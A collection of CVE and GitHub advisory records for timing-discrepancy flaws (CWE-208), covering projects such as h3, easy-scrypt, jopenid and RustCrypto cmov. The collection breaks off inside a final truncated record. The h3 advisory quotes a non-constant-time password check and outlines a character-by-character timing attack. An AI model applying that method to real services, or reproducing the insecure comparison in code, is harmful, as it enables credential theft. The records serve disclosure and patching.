CWE-208

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2014-125056",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-07-18T18:16:06.245546Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-07-18T18:16:12.800Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-06T14:10:56.644Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "vdb-entry",
              "technical-description",
              "x_transferred"
            ],
            "url": "https://vuldb.com/?id.217598"
          },
          {
            "tags": [
              "signature",
              "permissions-required",
              "x_transferred"
            ],
            "url": "https://vuldb.com/?ctiid.217598"
          },
          {
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/Pylons/horus/commit/fd56ccb62ce3cbdab0484fe4f9c25c4eda6c57ec"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "horus",
          "vendor": "Pylons",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "tool",
          "value": "VulDB GitHub Commit Analyzer"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A vulnerability was found in Pylons horus and classified as problematic. Affected by this issue is some unknown functionality of the file horus/flows/local/services.py. The manipulation leads to observable timing discrepancy. The complexity of an attack is rather high. The exploitation is known to be difficult. The patch is identified as fd56ccb62ce3cbdab0484fe4f9c25c4eda6c57ec. It is recommended to apply a patch to fix this issue. VDB-217598 is the identifier assigned to this vulnerability."
        },
        {
          "lang": "de",
          "value": "Eine Schwachstelle wurde in Pylons horus gefunden. Sie wurde als problematisch eingestuft. Betroffen davon ist ein unbekannter Prozess der Datei horus/flows/local/services.py. Durch das Manipulieren mit unbekannten Daten kann eine observable timing discrepancy-Schwachstelle ausgenutzt werden. Die Komplexit\u00e4t eines Angriffs ist eher hoch. Sie ist schwierig ausnutzbar. Der Patch wird als fd56ccb62ce3cbdab0484fe4f9c25c4eda6c57ec bezeichnet. Als bestm\u00f6gliche Massnahme wird Patching empfohlen."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "baseScore": 2.6,
            "baseSeverity": "LOW",
            "vectorString": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        },
        {
          "cvssV3_0": {
            "baseScore": 2.6,
            "baseSeverity": "LOW",
            "vectorString": "CVSS:3.0/AV:A/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.0"
          }
        },
        {
          "cvssV2_0": {
            "baseScore": 1.4,
            "vectorString": "AV:A/AC:H/Au:S/C:P/I:N/A:N",
            "version": "2.0"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-208",
              "description": "CWE-208 Observable Timing Discrepancy",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-10-20T06:22:46.501Z",
        "orgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
        "shortName": "VulDB"
      },
      "references": [
        {
          "tags": [
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://vuldb.com/?id.217598"
        },
        {
          "tags": [
            "signature",
            "permissions-required"
          ],
          "url": "https://vuldb.com/?ctiid.217598"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://github.com/Pylons/horus/commit/fd56ccb62ce3cbdab0484fe4f9c25c4eda6c57ec"
        }
      ],
      "timeline": [
        {
          "lang": "en",
          "time": "2023-01-07T00:00:00.000Z",
          "value": "Advisory disclosed"
        },
        {
          "lang": "en",
          "time": "2023-01-07T00:00:00.000Z",
          "value": "CVE reserved"
        },
        {
          "lang": "en",
          "time": "2023-01-07T01:00:00.000Z",
          "value": "VulDB entry created"
        },
        {
          "lang": "en",
          "time": "2023-01-29T16:47:42.000Z",
          "value": "VulDB entry last update"
        }
      ],
      "title": "Pylons horus services.py timing discrepancy"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
    "assignerShortName": "VulDB",
    "cveId": "CVE-2014-125056",
    "datePublished": "2023-01-07T09:06:06.990Z",
    "dateReserved": "2023-01-07T09:05:25.876Z",
    "dateUpdated": "2024-08-06T14:10:56.644Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-06T14:10:56.603Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "vdb-entry",
              "technical-description",
              "x_transferred"
            ],
            "url": "https://vuldb.com/?id.217596"
          },
          {
            "tags": [
              "signature",
              "permissions-required",
              "x_transferred"
            ],
            "url": "https://vuldb.com/?ctiid.217596"
          },
          {
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/agnivade/easy-scrypt/commit/477c10cf3b144ddf96526aa09f5fdea613f21812"
          },
          {
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/agnivade/easy-scrypt/releases/tag/v1.0.0"
          }
        ],
        "title": "CVE Program Container"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "easy-scrypt",
          "vendor": "agnivade",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "tool",
          "value": "VulDB GitHub Commit Analyzer"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A vulnerability, which was classified as problematic, was found in agnivade easy-scrypt. Affected is the function VerifyPassphrase of the file scrypt.go. The manipulation leads to observable timing discrepancy. The complexity of an attack is rather high. The exploitability is told to be difficult. Upgrading to version 1.0.0 is able to address this issue. The name of the patch is 477c10cf3b144ddf96526aa09f5fdea613f21812. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-217596."
        },
        {
          "lang": "de",
          "value": "Es wurde eine Schwachstelle in agnivade easy-scrypt gefunden. Sie wurde als problematisch eingestuft. Hiervon betroffen ist die Funktion VerifyPassphrase der Datei scrypt.go. Mittels dem Manipulieren mit unbekannten Daten kann eine observable timing discrepancy-Schwachstelle ausgenutzt werden. Die Komplexit\u00e4t eines Angriffs ist eher hoch. Sie gilt als schwierig auszunutzen. Ein Aktualisieren auf die Version 1.0.0 vermag dieses Problem zu l\u00f6sen. Der Patch wird als 477c10cf3b144ddf96526aa09f5fdea613f21812 bezeichnet. Als bestm\u00f6gliche Massnahme wird das Einspielen eines Upgrades empfohlen."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "baseScore": 2.6,
            "baseSeverity": "LOW",
            "vectorString": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        },
        {
          "cvssV3_0": {
            "baseScore": 2.6,
            "baseSeverity": "LOW",
            "vectorString": "CVSS:3.0/AV:A/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.0"
          }
        },
        {
          "cvssV2_0": {
            "baseScore": 1.4,
            "vectorString": "AV:A/AC:H/Au:S/C:P/I:N/A:N",
            "version": "2.0"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-208",
              "description": "CWE-208 Observable Timing Discrepancy",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-10-20T06:21:33.271Z",
        "orgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
        "shortName": "VulDB"
      },
      "references": [
        {
          "tags": [
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://vuldb.com/?id.217596"
        },
        {
          "tags": [
            "signature",
            "permissions-required"
          ],
          "url": "https://vuldb.com/?ctiid.217596"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://github.com/agnivade/easy-scrypt/commit/477c10cf3b144ddf96526aa09f5fdea613f21812"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://github.com/agnivade/easy-scrypt/releases/tag/v1.0.0"
        }
      ],
      "timeline": [
        {
          "lang": "en",
          "time": "2023-01-07T00:00:00.000Z",
          "value": "Advisory disclosed"
        },
        {
          "lang": "en",
          "time": "2023-01-07T00:00:00.000Z",
          "value": "CVE reserved"
        },
        {
          "lang": "en",
          "time": "2023-01-07T01:00:00.000Z",
          "value": "VulDB entry created"
        },
        {
          "lang": "en",
          "time": "2023-01-29T16:17:14.000Z",
          "value": "VulDB entry last update"
        }
      ],
      "title": "agnivade easy-scrypt scrypt.go VerifyPassphrase timing discrepancy"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
    "assignerShortName": "VulDB",
    "cveId": "CVE-2014-125055",
    "datePublished": "2023-01-07T08:59:49.363Z",
    "dateReserved": "2023-01-07T08:58:52.720Z",
    "dateUpdated": "2024-08-06T14:10:56.603Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-06T18:09:17.104Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "vdb-entry",
              "technical-description",
              "x_transferred"
            ],
            "url": "https://vuldb.com/?id.217171"
          },
          {
            "tags": [
              "signature",
              "permissions-required",
              "x_transferred"
            ],
            "url": "https://vuldb.com/?ctiid.217171"
          },
          {
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/Ziftr/primecoin/commit/cdb3441b5cd2c1bae49fae671dc4a496f7c96322"
          },
          {
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/Ziftr/primecoin/releases/tag/v0.8.4rc2"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2013-10006",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-04-10T17:31:28.467656Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-04-10T17:32:01.693Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "primecoin",
          "vendor": "Ziftr",
          "versions": [
            {
              "status": "affected",
              "version": "0.8.4rc1"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "tool",
          "value": "VulDB GitHub Commit Analyzer"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A vulnerability classified as problematic was found in Ziftr primecoin up to 0.8.4rc1. Affected by this vulnerability is the function HTTPAuthorized of the file src/bitcoinrpc.cpp. The manipulation of the argument strUserPass/strRPCUserColonPass leads to observable timing discrepancy. The complexity of an attack is rather high. The exploitation appears to be difficult. Upgrading to version 0.8.4rc2 is able to address this issue. The patch is named cdb3441b5cd2c1bae49fae671dc4a496f7c96322. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217171."
        },
        {
          "lang": "de",
          "value": "In Ziftr primecoin bis 0.8.4rc1 wurde eine problematische Schwachstelle entdeckt. Das betrifft die Funktion HTTPAuthorized der Datei src/bitcoinrpc.cpp. Durch das Beeinflussen des Arguments strUserPass/strRPCUserColonPass mit unbekannten Daten kann eine observable timing discrepancy-Schwachstelle ausgenutzt werden. Die Komplexit\u00e4t eines Angriffs ist eher hoch. Sie gilt als schwierig ausnutzbar. Ein Aktualisieren auf die Version 0.8.4rc2 vermag dieses Problem zu l\u00f6sen. Der Patch wird als cdb3441b5cd2c1bae49fae671dc4a496f7c96322 bezeichnet. Als bestm\u00f6gliche Massnahme wird das Einspielen eines Upgrades empfohlen."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "baseScore": 2.6,
            "baseSeverity": "LOW",
            "vectorString": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        },
        {
          "cvssV3_0": {
            "baseScore": 2.6,
            "baseSeverity": "LOW",
            "vectorString": "CVSS:3.0/AV:A/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.0"
          }
        },
        {
          "cvssV2_0": {
            "baseScore": 1.4,
            "vectorString": "AV:A/AC:H/Au:S/C:P/I:N/A:N",
            "version": "2.0"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-208",
              "description": "CWE-208 Observable Timing Discrepancy",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-10-12T08:50:05.499Z",
        "orgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
        "shortName": "VulDB"
      },
      "references": [
        {
          "tags": [
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://vuldb.com/?id.217171"
        },
        {
          "tags": [
            "signature",
            "permissions-required"
          ],
          "url": "https://vuldb.com/?ctiid.217171"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://github.com/Ziftr/primecoin/commit/cdb3441b5cd2c1bae49fae671dc4a496f7c96322"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://github.com/Ziftr/primecoin/releases/tag/v0.8.4rc2"
        }
      ],
      "timeline": [
        {
          "lang": "en",
          "time": "2023-01-01T00:00:00.000Z",
          "value": "Advisory disclosed"
        },
        {
          "lang": "en",
          "time": "2023-01-01T00:00:00.000Z",
          "value": "CVE reserved"
        },
        {
          "lang": "en",
          "time": "2023-01-01T01:00:00.000Z",
          "value": "VulDB entry created"
        },
        {
          "lang": "en",
          "time": "2023-01-26T18:51:05.000Z",
          "value": "VulDB last update"
        }
      ],
      "title": "Ziftr primecoin bitcoinrpc.cpp HTTPAuthorized timing discrepancy"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
    "assignerShortName": "VulDB",
    "cveId": "CVE-2013-10006",
    "datePublished": "2023-01-01T16:30:02.883Z",
    "dateReserved": "2023-01-01T16:26:28.806Z",
    "dateUpdated": "2025-04-10T17:32:01.693Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-07T04:17:10.461Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "vdb-entry",
              "technical-description",
              "x_transferred"
            ],
            "url": "https://vuldb.com/?id.218460"
          },
          {
            "tags": [
              "signature",
              "permissions-required",
              "x_transferred"
            ],
            "url": "https://vuldb.com/?ctiid.218460"
          },
          {
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/michaelliao/jopenid/commit/c9baaa976b684637f0d5a50268e91846a7a719ab"
          },
          {
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/michaelliao/jopenid/releases/tag/JOpenId-1.08"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "NETWORK",
              "availabilityImpact": "NONE",
              "baseScore": 7.5,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2010-10006",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-04-02T17:59:23.831818Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-208",
                "description": "CWE-208 Observable Timing Discrepancy",
                "lang": "en",
                "type": "CWE"
              }
            ]
          },
          {
            "descriptions": [
              {
                "cweId": "CWE-203",
                "description": "CWE-203 Observable Discrepancy",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-04-03T19:25:38.582Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "jopenid",
          "vendor": "michaelliao",
          "versions": [
            {
              "status": "affected",
              "version": "n/a"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "tool",
          "value": "VulDB GitHub Commit Analyzer"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "A vulnerability, which was classified as problematic, was found in michaelliao jopenid. Affected is the function getAuthentication of the file JOpenId/src/org/expressme/openid/OpenIdManager.java. The manipulation leads to observable timing discrepancy. The complexity of an attack is rather high. The exploitability is told to be difficult. Upgrading to version 1.08 is able to address this issue. The name of the patch is c9baaa976b684637f0d5a50268e91846a7a719ab. It is recommended to upgrade the affected component. The identifier of this vulnerability is VDB-218460."
        },
        {
          "lang": "de",
          "value": "Es wurde eine Schwachstelle in michaelliao jopenid gefunden. Sie wurde als problematisch eingestuft. Es betrifft die Funktion getAuthentication der Datei JOpenId/src/org/expressme/openid/OpenIdManager.java. Dank der Manipulation mit unbekannten Daten kann eine observable timing discrepancy-Schwachstelle ausgenutzt werden. Die Komplexit\u00e4t eines Angriffs ist eher hoch. Sie gilt als schwierig auszunutzen. Ein Aktualisieren auf die Version 1.08 vermag dieses Problem zu l\u00f6sen. Der Patch wird als c9baaa976b684637f0d5a50268e91846a7a719ab bezeichnet. Als bestm\u00f6gliche Massnahme wird das Einspielen eines Upgrades empfohlen."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "baseScore": 2.6,
            "baseSeverity": "LOW",
            "vectorString": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.1"
          }
        },
        {
          "cvssV3_0": {
            "baseScore": 2.6,
            "baseSeverity": "LOW",
            "vectorString": "CVSS:3.0/AV:A/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
            "version": "3.0"
          }
        },
        {
          "cvssV2_0": {
            "baseScore": 1.4,
            "vectorString": "AV:A/AC:H/Au:S/C:P/I:N/A:N",
            "version": "2.0"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-208",
              "description": "CWE-208 Observable Timing Discrepancy",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-10-12T08:23:15.071Z",
        "orgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
        "shortName": "VulDB"
      },
      "references": [
        {
          "tags": [
            "vdb-entry",
            "technical-description"
          ],
          "url": "https://vuldb.com/?id.218460"
        },
        {
          "tags": [
            "signature",
            "permissions-required"
          ],
          "url": "https://vuldb.com/?ctiid.218460"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://github.com/michaelliao/jopenid/commit/c9baaa976b684637f0d5a50268e91846a7a719ab"
        },
        {
          "tags": [
            "patch"
          ],
          "url": "https://github.com/michaelliao/jopenid/releases/tag/JOpenId-1.08"
        }
      ],
      "timeline": [
        {
          "lang": "en",
          "time": "2023-01-16T00:00:00.000Z",
          "value": "CVE reserved"
        },
        {
          "lang": "en",
          "time": "2023-01-16T01:00:00.000Z",
          "value": "VulDB entry created"
        },
        {
          "lang": "en",
          "time": "2023-01-17T00:00:00.000Z",
          "value": "Advisory disclosed"
        },
        {
          "lang": "en",
          "time": "2023-02-09T09:14:39.000Z",
          "value": "VulDB last update"
        }
      ],
      "title": "michaelliao jopenid OpenIdManager.java getAuthentication timing discrepancy"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "1af790b2-7ee1-4545-860a-a788eba489b5",
    "assignerShortName": "VulDB",
    "cveId": "CVE-2010-10006",
    "datePublished": "2023-01-17T23:58:07.307Z",
    "dateReserved": "2023-01-16T22:58:58.732Z",
    "dateUpdated": "2025-04-03T19:25:38.582Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.0.0-rc.8"
      },
      "package": {
        "ecosystem": "npm",
        "name": "h3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0-beta.0"
            },
            {
              "fixed": "2.0.1-rc.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33129"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T16:17:58Z",
    "nvd_published_at": "2026-03-20T10:16:19Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nA Timing Side-Channel vulnerability exists in the `requireBasicAuth` function due to the use of unsafe string comparison (`!==`). This allows an attacker to deduce the valid password character-by-character by measuring the server\u0027s response time, effectively bypassing password complexity protections.\n\n### Details\nThe vulnerability is located in the `requireBasicAuth` function. The code performs a standard string comparison between the user-provided password and the expected password:\n\n~~~typescript\nif (opts.password \u0026\u0026 password !== opts.password) {\n  throw autheFailed(event, opts?.realm);\n}\n~~~\n\nIn V8 (and most runtime environments), the `!==` operator is optimized to \"fail fast.\" It stops execution and returns `false` as soon as it encounters the first mismatched byte.\n* If the first character is wrong, it returns immediately.\n* If the first character is correct but the second is wrong, it takes slightly longer.\n\nBy statistically analyzing these minute timing differences over many requests, an attacker can determine the correct password one character at a time.\n\n### PoC\nThis vulnerability is exploitable in real-world scenarios without direct access to the server machine.\n\nTo reproduce this, an attacker can send two packets (or bursts of packets) at the exact same time:\n1.  **Packet A:** Contains a password that is known to be incorrect starting at the first character (e.g., `AAAA...`).\n2.  **Packet B:** Contains a password where the first character is a guess (e.g., `B...`).\n\nBy measuring the time-to-first-byte (TTFB) or total response time of these concurrent requests, the attacker can filter out network jitter. If Packet B takes consistently longer to return than Packet A, the first character is confirmed as correct. This process is repeated for the second character, and so on. Tests confirm this timing difference is statistically consistent enough to recover credentials remotely.\n\n### Impact\n\nThis vulnerability allows remote attackers to recover passwords. While network jitter makes this difficult over the internet, it is highly effective in local networks or cloud environments where the attacker is co-located. It reduces the complexity of cracking a password from exponential (guessing the whole string) to linear (guessing one char at a time).",
  "id": "GHSA-26f5-8h2x-34xh",
  "modified": "2026-03-20T21:27:48Z",
  "published": "2026-03-18T16:17:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/h3js/h3/security/advisories/GHSA-26f5-8h2x-34xh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33129"
    },
    {
      "type": "WEB",
      "url": "https://github.com/h3js/h3/pull/1283"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/h3js/h3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/h3js/h3/releases/tag/v2.0.1-rc.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "h3 has an observable timing discrepancy in basic auth utils"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-70437"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-208"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-05T18:17:13Z",
    "severity": "LOW"
  },
  "details": "Jenkins Webhook Secret Credentials Provider Plugin 16.v0cfa_f0215cf5 and earlier does not use a constant-time comparison function when checking whether the provided and expected webhook bearer token are equal, potentially allowing attackers to use statistical methods to obtain a valid webhook bearer token.",
  "id": "GHSA-298v-p382-mwvw",
  "modified": "2026-08-06T18:30:43Z",
  "published": "2026-08-05T18:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-70437"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2026-08-05/#SECURITY-3918"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "cmov"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.4.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-23519"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-203",
      "CWE-208"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-15T18:17:15Z",
    "nvd_published_at": "2026-01-15T20:16:05Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`thumbv6m-none-eabi` (Cortex M0, M0+ and M1) compiler emits non-constant time assembly when using `cmovnz` (portable version). I did not found any other target with the same behaviour but I did not go through all targets supported by Rust. \n\n### Details\n\nIt seems that, [during `mask` computation](https://github.com/RustCrypto/utils/blob/9e555db060c80f4669d804f448a524a37d201b32/cmov/src/portable.rs#L78), an LLVM optimisation pass is detecting that [`bitnz`](https://github.com/RustCrypto/utils/blob/9e555db060c80f4669d804f448a524a37d201b32/cmov/src/portable.rs#L13) is returning 0 or 1, that can be interpreted as a boolean. This intermediate value is not masked by a call to `black_box` and thus the subsequent [`.wrapping_sub(1)`](https://github.com/RustCrypto/utils/blob/9e555db060c80f4669d804f448a524a37d201b32/cmov/src/portable.rs#L78C1-L78C84) can be interpreted as a conditional bitwise conditional not.\n\n### PoC\n\nThis is an attempt at having a minimal faulty code. In a library crate with an up-to-date `cmov` as only dependency, the content of `src/lib.rs` is:\n\n```rust\n#![no_std]\nuse cmov::Cmov;\n\n#[inline(never)]\npub fn test_ct_cmov(a: \u0026mut u8, b: u8, c: u8) {\n    a.cmovnz(\u0026b, c);\n}\n```\n\n\nThe resulting assembly emitted (shown using `cargo asm --release --target thumbv6m-none-eabi` that uses [`cargo-show-asm`](https://crates.io/crates/cargo-show-asm)):\n\n\u003cdetails\u003e\n\u003csummary\u003eCollapsed assembly\u003c/summary\u003e\n\n```asm\n.section .text.not_ct::test_ct_cmov,\"ax\",%progbits\n\t.globl\tnot_ct::test_ct_cmov\n\t.p2align\t1\n\t.type\tnot_ct::test_ct_cmov,%function\n\t.code\t16\n\t.thumb_func\nnot_ct::test_ct_cmov:\n\t.fnstart\n\t.cfi_sections .debug_frame\n\t.cfi_startproc\n\t.save\t{r7, lr}\n\tpush {r7, lr}\n\t.cfi_def_cfa_offset 8\n\t.cfi_offset lr, -4\n\t.cfi_offset r7, -8\n\t.setfp\tr7, sp\n\tadd r7, sp, #0\n\t.cfi_def_cfa_register r7\n\t.pad\t#8\n\tsub sp, #8\n\tmovs r3, #0\n\tlsls r2, r2, #24\n\tbne .LBB0_2\n\tmvns r3, r3\n.LBB0_2:\n\tldrb r2, [r0]\n\tstr r3, [sp, #4]\n\tstr r3, [sp]\n\tmov r3, sp\n\t@APP\n\t@NO_APP\n\tldr r3, [sp]\n\tbics r1, r3\n\tands r2, r3\n\tadds r1, r2, r1\n\tstrb r1, [r0]\n\tadd sp, #8\n\tpop {r7, pc}\n```\n\n\u003c/details\u003e\n\nThe non-constant time assembly is:\n\n```asm\n    bne  .LBB0_2\n    mvns r3, r3\n.LBB0_2:\n```\n\n### Impact\n\nThe exact impact is unclear, especially since `cmov` clearly warns users that the portable version is best-effort.",
  "id": "GHSA-2gqc-6j2q-83qp",
  "modified": "2026-01-23T21:46:10Z",
  "published": "2026-01-15T18:17:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/RustCrypto/utils/security/advisories/GHSA-2gqc-6j2q-83qp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23519"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RustCrypto/utils/commit/55977257e7c82a309d5e8abfdd380a774f0f9778"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/RustCrypto/utils"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0003.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "RustCrypto Utilities cmov: `thumbv6m-none-eabi` compiler emits non-constant time assembly when using `cmovnz`"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "ethyca-fides"
      },
      "ranges": [
        {
